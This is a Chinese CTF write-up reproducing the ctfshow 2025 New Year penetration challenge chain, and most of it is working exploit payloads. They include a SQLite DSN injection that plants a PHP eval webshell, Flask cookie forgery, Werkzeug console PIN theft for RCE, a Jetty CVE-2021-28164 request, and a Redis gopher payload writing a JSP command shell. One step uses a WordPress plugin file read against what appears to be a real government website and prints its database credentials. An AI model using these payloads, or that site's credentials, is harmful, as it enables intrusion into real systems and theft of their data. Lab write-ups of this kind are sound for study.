ctfshow-2025元旦渗透赛-复现
第一章
启程

给了一个zip压缩包,ARCHPR爆一下就出来了
ctfshow{654321}
破解加密通讯
本关要求 提交任务中心的网址 格式 ctfshow{https://xxx.xxx}
上一题的zip打开后是一张图片,拿去010发现尾部有base64

去解密发现了python脚本


ctrl点击printMessage进去看看源码
import base64,datetime
message = {
"inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',
}
def printMessage():
for key, value in message.items():
title = key.replace('inputMessage_', '')
print("�33[1;31m" + "请使用组织分配的私钥解密后使用" + "�33[0m")
title = datetime.datetime.strptime(title, '%Y%m%d').strftime('%Y-%m-%d')
print("----------------------------------------------------------")
print(title)
print(value)
print("----------------------------------------------------------")
print("n")
# 最新流通公钥
def getPublicKey():
return b'''
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''
def enctryptMessage(message):
import base64
message_bytes = message.encode('utf-8')
message_base64 = base64.b64encode(message_bytes).decode('utf-8')
publicKey = getPublicKey()
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
public_key = serialization.load_pem_public_key(publicKey, backend=default_backend())
encrypted = public_key.encrypt(
message_base64.encode('utf-8'),
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
encrypted_base64 = base64.b64encode(encrypted).decode('utf-8')
return encrypted_base64
printMessage()
运行源码之后得到

三段加密后的密文,在第一题任务提示里给了RSA的n,p,q
求出私钥然后解密这三段密文
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
import base64
# RSA 参数
e = 65537
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
# 计算私钥 d 和模数 n
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
# 构造 RSA 私钥
private_key = RSA.construct((n, e, d, p, q)).export_key()
# 加密的消息字典
encrypted_messages = {
"inputMessage_20241216": '''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411": '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305": '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA='''
}
# 解密函数
def decrypt_message(encrypted_base64, private_key):
try:
key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(key, hashAlgo=SHA256.new())
encrypted = base64.b64decode(encrypted_base64)
decrypted = cipher.decrypt(encrypted)
return base64.b64decode(decrypted).decode('utf-8')
except Exception as e:
return f"Decryption failed: {str(e)}"
# 输出解密后的消息
for label, encrypted_message in encrypted_messages.items():
date = label.split('_')[1]
result = decrypt_message(encrypted_message, private_key)
print(f"{date[:4]}-{date[4:6]}-{date[6:]}: {result}n{'-' * 50}")

ctfshow{https://task.ctfer.com}
潜入敌营
本关要求 提交park在任务中心登陆的账号密码 格式 ctfshow{账号_密码}
根据第二个密文信息,我们渗透进新竹县动物保护防疫所
https://apc.hsinchu.g*v.t*/
是一个wordpress搭建的网站,看网上wp,用wpscan直接找到漏洞。
payload:
https://apc.hsinchu.g*v.t*/?aam-media=wp-config.php
得到
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'hsinchug_wp1' );
/** MySQL database username */
define( 'DB_USER', 'hsinchug_wp1' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Q.4Vyj8VCiedX1KYU5g05' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', 'utf8mb4_unicode_ci');
ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}
第二章
秘密潜伏
本关要求 提交dylan的电话号码 格式 ctfshow{电话号码}
先利用上一关得到的账号密码登录

我们的身份是hsinchug_wp1,电话号码就是旁边的,我们要想办法以dylan的身份登录
题目提示jwt。猜测可能是用jwt伪造身份来登录
在该网页随便翻翻,找到了重要的信息:key

我们在该网页抓包

果然有jwt
key的中间部分被盖住了,我们爆破一下
import jwt
import itertools
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzczODUwMTZ9.sYNSUDIyvVioTXfgyIWkrEnQX6RzE3fkXx1WSkNk7oU"
key_prefix = "4a4f7d6e8b5"
key_suffix = "0c7f"
hex_chars = "0123456789abcdef"
for middle_chars in itertools.product(hex_chars, repeat=3):
key = key_prefix + ''.join(middle_chars) + key_suffix
try:
decoded = jwt.decode(token, key, algorithms=["HS256"])
print(f"Key Found: {key}")
print(f"Decoded JWT: {decoded}")
break
except jwt.ExpiredSignatureError:
print(f"Key {key} is correct but the token has expired.")
break
except jwt.InvalidTokenError:
pass
得到key:4a4f7d6e8b5e3a0c7f

利用伪造的jwt登上dylan账号即可查看到电话号码
注意抓包替换jwt的时候要替换两次

ctfshow{117447685307}
收集敌方身份信息
本关要求 在任务中心服务器上搜索秘密账户,用户名好像是root,提交他的密码 非系统用户root 是web里面的用户名root 格式 ctfshow{账号是root的用户密码}
我们以dylan身份登进去后,在左边administrator下的taskfile,我们点进去之后抓包来到listTaskFiles,将path目录置为空会发现暴露根目录并且在根目录下有init_users.json

我们继续测试还有一个read接口可以读取文件内容,

如图将path置为空可以直接读取根目录的文件内容
ctfshow{7y.(sc#Ac_}
横向渗透
本关要求 提交 DATABASE_SECRET_KEY内容 格式 ctfshow{XXXXXX}
我们先看.bak源码
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name__)
# 设置 Flask 的 SECRET_KEY,用于加密 session 数据
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
# 根路由,初始化用户 session 为 'guest'
@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest' # 设置用户 session 为 'guest'
return {'message': 'log server is running'} # 返回启动日志服务器的消息
# 检查当前 session 是否为 admin 用户
def check_session():
if 'user' not in session: # 如果 session 中没有 'user' 键
return False
if session['user'] != 'admin': # 如果 session 中的 'user' 不是 'admin'
return False
return True # 如果是 admin 用户,返回 True
# 获取密钥的路由,只有 admin 用户可以访问
@app.route('/key', methods=['GET'])
def get_key():
if not check_session(): # 如果不是 admin 用户,返回未授权信息
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read() # 读取密钥文件内容
return {'message': 'key', 'key': key} # 返回密钥
# 设置日志选项的路由,允许 admin 用户配置日志记录
@app.route('/set_log_option')
def set_log_option():
if not check_session(): # 如果不是 admin 用户,返回未授权信息
return {"message": "not authorized"}
logName = request.args.get('logName') # 从请求中获取日志名称
logFile = request.args.get('logFile') # 从请求中获取日志文件名称
app_log = logging.getLogger(logName) # 获取日志记录器
app_log.addHandler(logging.FileHandler('./log/' + logFile)) # 配置日志记录器,将日志写入指定的文件
app_log.setLevel(logging.INFO) # 设置日志级别为 INFO
clear_log_file('./log/' + logFile) # 清空指定的日志文件
return {'message': 'log option set successfully'} # 返回成功设置日志选项的消息
# 获取日志内容的路由,允许 admin 用户查看日志文件内容
@app.route('/get_log_content')
def get_log_content():
if not check_session(): # 如果不是 admin 用户,返回未授权信息
return {"message": "not authorized"}
logFile = request.args.get('logFile') # 从请求中获取日志文件名称
path = join('log', basename(logFile)) # 构造日志文件的完整路径
with open(path, 'r') as f:
content = f.read() # 读取日志文件内容
return {'message': 'log content', 'content': content} # 返回日志内容
# 清空日志文件内容
def clear_log_file(file_path):
with open(file_path, 'w'): # 以写模式打开文件,清空文件内容
pass
# 启动 Flask 应用
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888) # 启动应用,监听所有可用接口的 8888 端口
然后在第三个菜单栏观看到

可以输入url。我们猜测是ssrf,访问本地8888端口,看看源码flask是不是在本地服务器上运行的。

连接超时,明显不在本地服务器上,serverinfo可以看到本地ip地址。我们利用ssrf来查找其他内网服务器是否开启了服务。

bp爆破一下发现

ip为172.2.162.5的服务器80端口开放,返回结果不一样

进去查看开启了php服务。直接访问成功得到结果
ctfshow{0x8F7C71E8E82E4D1E}
第三章
跳岛战术
本关要求: 拿到config.php中的数据库密码 提交 ctfshow{数据库密码}
题目提示是一台php服务器
hint1:& hint2:sqlite
经过我们上面的抓包发现这就是一个php环境的服务器,说明大概率就是这一台.5服务器
源码:
<!DOCTYPE html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
// 存储数据库密钥的 JavaScript 变量
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>
<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<!-- 使用 POST 方法提交表单数据 -->
<form action="index.php" method="post">
<!-- 数据库用户名输入框 -->
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<!-- 数据库密码输入框 -->
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<!-- 数据库 DSN 输入框 -->
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<!-- 数据库查询输入框 -->
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<!-- 提交按钮 -->
<input type="submit" value="Submit">
</form>
</body>
</html>
根据提示发现是有注入漏洞的。贴上出题人的payload
http://172.2.24.5/%3fdsn%3dsqlite%3ashell.php%26username%3daaa%26password%3dbbb%26query%3dcreate%2520table%2520%22aaa%22%2520(name%2520TEXT%2520DEFAULT%2520%22%3c%3fphp%2520file_put_contents(%271.php%27%2c%27%3c%3fphp+eval(%24_GET%5b1%5d)%3b%3f%3e%27)%3b%3f%3e%22)%3b
然后访问shell.php触发写马。然后执行命令

ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}
邮箱迷云
本关要求 提交park在2024年12月27日19时20分收到的邮件中的数字 格式 ctfshow{数字} 也可以提交 163邮箱的账号密码 格式 ctfshow{账号_密码}
根目录有个secret文件,读取它

得到base64。解密

登录这个邮箱,得到一封邮件,里面数字为81192
ctfshow{81192}
第四章
再下一城
本关要求 提交log_server_key.txt内容 格式 ctfshow{xxxxxxxxx}
要渗透log日志服务器
我们再次进行扫描发现.6服务器8888端口开放

回显信息正是日志服务器
再看一下源码,
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name__)
# 设置 Flask 的 SECRET_KEY,用于加密 session 数据
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
# 根路由,初始化用户 session 为 'guest'
@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest' # 设置用户 session 为 'guest'
return {'message': 'log server is running'} # 返回启动日志服务器的消息
# 检查当前 session 是否为 admin 用户
def check_session():
if 'user' not in session: # 如果 session 中没有 'user' 键
return False
if session['user'] != 'admin': # 如果 session 中的 'user' 不是 'admin'
return False
return True # 如果是 admin 用户,返回 True
# 获取密钥的路由,只有 admin 用户可以访问
@app.route('/key', methods=['GET'])
def get_key():
if not check_session(): # 如果不是 admin 用户,返回未授权信息
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read() # 读取密钥文件内容
return {'message': 'key', 'key': key} # 返回密钥
# 设置日志选项的路由,允许 admin 用户配置日志记录
@app.route('/set_log_option')
def set_log_option():
if not check_session(): # 如果不是 admin 用户,返回未授权信息
return {"message": "not authorized"}
logName = request.args.get('logName') # 从请求中获取日志名称
logFile = request.args.get('logFile') # 从请求中获取日志文件名称
app_log = logging.getLogger(logName) # 获取日志记录器
app_log.addHandler(logging.FileHandler('./log/' + logFile)) # 配置日志记录器,将日志写入指定的文件
app_log.setLevel(logging.INFO) # 设置日志级别为 INFO
clear_log_file('./log/' + logFile) # 清空指定的日志文件
return {'message': 'log option set successfully'} # 返回成功设置日志选项的消息
# 获取日志内容的路由,允许 admin 用户查看日志文件内容
@app.route('/get_log_content')
def get_log_content():
if not check_session(): # 如果不是 admin 用户,返回未授权信息
return {"message": "not authorized"}
logFile = request.args.get('logFile') # 从请求中获取日志文件名称
path = join('log', basename(logFile)) # 构造日志文件的完整路径
with open(path, 'r') as f:
content = f.read() # 读取日志文件内容
return {'message': 'log content', 'content': content} # 返回日志内容
# 清空日志文件内容
def clear_log_file(file_path):
with open(file_path, 'w'): # 以写模式打开文件,清空文件内容
pass
# 启动 Flask 应用
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888) # 启动应用,监听所有可用接口的 8888 端口
发现有验证cookie

回显里面也给了提示,那就要伪造cookie了。
python flask_session_cookie_manager3.py decode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -c eyJ1c2VyIjoiZ3Vlc3QifQ.Z4-Ztw.eVhBKjGpbTnb6EgLTYWmJA8WXxo
{'user': 'guest'}
python flask_session_cookie_manager3.py encode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -t "{'user': 'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw
伪造好cookie后就可以携带cookie访问/key路由了
http://172.2.239.5/1.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw" "http://172.2.239.6:8888/key"');

ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}
顺藤摸瓜
本关要求 提交flask所在服务器的/etc/passwd 文件最后一行内容 格式 ctfshow{文件最后一行内容}
目的就是要获取pin码
1.先通过set_log_option路由来设置日志文件路径
http://172.2.239.5/1.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw" "http://172.2.239.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"');

2.获取console路由的key
http://172.2.239.5/1.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw" "http://172.2.239.6:8888/console"');

CRgTuLfOst4EgAbrLEb8
3.拿到key之后,直接printpin到日志文件
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3IiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1wcmludHBpbiZzPUNSZ1R1TGZPc3Q0RWdBYnJMRWI4Ig=='));
4.打印日志文件查看pin码
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3IiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvZ2V0X2xvZ19jb250ZW50P2xvZ0ZpbGU9bWFpbi5sb2ci'));

116-856-097
5.设置cookie,验证pin
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3IiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1waW5hdXRoJnBpbj0xMTYtODU2LTA5NyZzPUNSZ1R1TGZPc3Q0RWdBYnJMRWI4Ig=='));

http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYyBjb29raWUudHh0IC12IC1iICAic2Vzc2lvbj1leUoxYzJWeUlqb2lZV1J0YVc0aWZRLlo0LWVWdy51NllBVDdfTzUzbXE1YnlnMUhfaHVZNzVyeXciICJodHRwOi8vMTcyLjIuMjM5LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTExNi04NTYtMDk3JnM9Q1JnVHVMZk9zdDRFZ0FickxFYjgi'));

6.rce查看日志文件
#访问etc/passwd
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAgLXYgLWIgICJfX3d6ZDcwODY5NjQ1ZDkzZWJmMTA0ZjNkPTE3Mzc0Njg3NDN8Mzk4NTRhMzFiM2NlIiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1vcy5zeXN0ZW0oJycnY2F0JTIwXC9ldGNcL3Bhc3N3ZD4uXC9sb2dcL21haW4ubG9nJycnKSZmcm09MCZzPUNSZ1R1TGZPc3Q0RWdBYnJMRWI4Ig=='));
#查看日志文件
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAgLXYgLWIgICJfX3d6ZDcwODY5NjQ1ZDkzZWJmMTA0ZjNkPTE3Mzc0Njg3NDN8Mzk4NTRhMzFiM2NlO3Nlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3OyIgImh0dHA6Ly8xNzIuMi4yMzkuNjo4ODg4L2dldF9sb2dfY29udGVudD9sb2dGaWxlPW1haW4ubG9nIg=='));
ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}
第五章
艰难的最后一步
本关要求 提交redis的密码 格式 ctfshow{密码}
继续扫描发现存在.7的8080开放服务并且就是java环境
CVE-2021-28164直接打
http://172.2.239.5/1.php?1=system('curl -v "http://172.2.239.7:8080/%u002e/WEB-INF/web.xml"');

ctfshow{ctfshow_2025}
功亏一篑
本关要求 提交 /dylan.txt 中的key 格式 ctfshow{xxxxxx}
先利用上题泄露的密码登录
http://172.2.239.5/1.php?1=system('curl -v "dict://172.2.239.7:6380/auth:ctfshow_2025"');

然后写马
auth ctfshow_2025
set mars "<% Runtime.getRuntime().exec(new String[]{"sh","-c",request.getParameter("cmd")});%>"
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename 2.jsp
save
quit
base64编码后发包:
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAgLXYgICJnb3BoZXI6Ly8xNzIuMi4yMzkuNzo2MzgwL19hdXRoJTIwY3Rmc2hvd18yMDI1JTBBc2V0JTIwbWFycyUyMCUyMiUzQyUyNSUyMFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3JTIwU3RyaW5nJTVCJTVEJTdCJTVDJTIyc2glNUMlMjIlMkMlNUMlMjItYyU1QyUyMiUyQ3JlcXVlc3QuZ2V0UGFyYW1ldGVyKCU1QyUyMmNtZCU1QyUyMiklN0QpJTNCJTI1JTNFJTIyJTBBY29uZmlnJTIwc2V0JTIwZGlyJTIwJTJGb3B0JTJGamV0dHklMkZ3ZWJhcHBzJTJGUk9PVCUyRiUwQWNvbmZpZyUyMHNldCUyMGRiZmlsZW5hbWUlMjAyLmpzcCUwQXNhdmUlMEFxdWl0Ig=='));

写马成功
将输出写入txt文件
http://172.2.239.7:8080/2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt


就在根目录下直接读取
http://172.2.239.7:8080/2.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/success.txt
http://172.2.239.7:8080/success.txt

ctfshow{7b11a7ae330883cb5bf667a9c1604635}
今日方知我是我
本关要求 提交/root/message.txt中提到的网址 格式 ctfshow{http://xxx.xxx}
提权没学,就不复现了。学了再来看看
总结
4台机子
.4是本地服务机也是ssrf的跳板机
.5是php环境服务器
.6是flask运行服务器
